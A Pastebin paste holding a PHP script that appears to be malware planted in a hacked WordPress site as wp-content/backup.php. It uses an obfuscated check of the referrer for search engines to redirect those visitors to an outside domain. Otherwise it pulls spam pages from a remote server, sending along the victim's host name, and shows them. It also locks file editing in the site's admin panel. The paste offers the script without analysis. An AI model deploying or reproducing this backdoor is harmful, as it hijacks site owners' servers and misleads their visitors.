Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2019
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. //wp-content/backup.php
  4. $www="2";
  5. $caches="./backup/";
  6. $files= !empty($_GET['m'])?$_GET['m']:"index.html";
  7. function getHtml($url)
  8. {
  9. $content=file_get_contents($url);
  10. if(empty($content)){
  11. $ch = curl_init();
  12. $timeout = 5;
  13. curl_sefilet ($ch, CURLOPT_URL, $url);
  14. curl_sefilet ($ch, CURLOPT_RETURNTRANSFER, 1);
  15. curl_sefilet ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  16. $content = curl_exec($ch);
  17. curl_close($ch);
  18. }
  19. return $content;
  20. }
  21. $jturl = "http://www.easilypasses.com/";
  22. function chref($crefs)
  23. {
  24. $truecref= str_replace("x","","bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh");
  25. if(preg_match("/$truecref/i",$crefs)){
  26. return true;
  27. }else{
  28. return false;
  29. }
  30. }
  31. $htprefs = strtolower($_SERVER/*;*/[/*;*/'HTTP_REFERER'/*;*/]);
  32. if(chref($htprefs) && isset($_GET['m'])){
  33. $htprefs=str_replace('_','/',$htprefs);
  34. $jumps=preg_replace('/_(.*)/i','.html',$_GET['m']);
  35. header("location: ".$jturl.$jumps);
  36. exit;
  37. }
  38. if(isset($_GET['m']))
  39. {
  40. $con= getHtml('http://2.bingstyle.com/baidu/main.php?key='.$_GET['m']."&host=".$_SERVER['HTTP_HOST']."&www=".$www);
  41. $con=str_replace('.mhtml','.html',$con);
  42. $con = str_replace("http://symbaya.com/","http://symbaya.com/?m=",$con);
  43. echo $con;
  44. exit();
  45. }define('DISALLOW_FILE_EDIT',true);
  46. define('DISALLOW_FILE_MODS',true);
  47. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement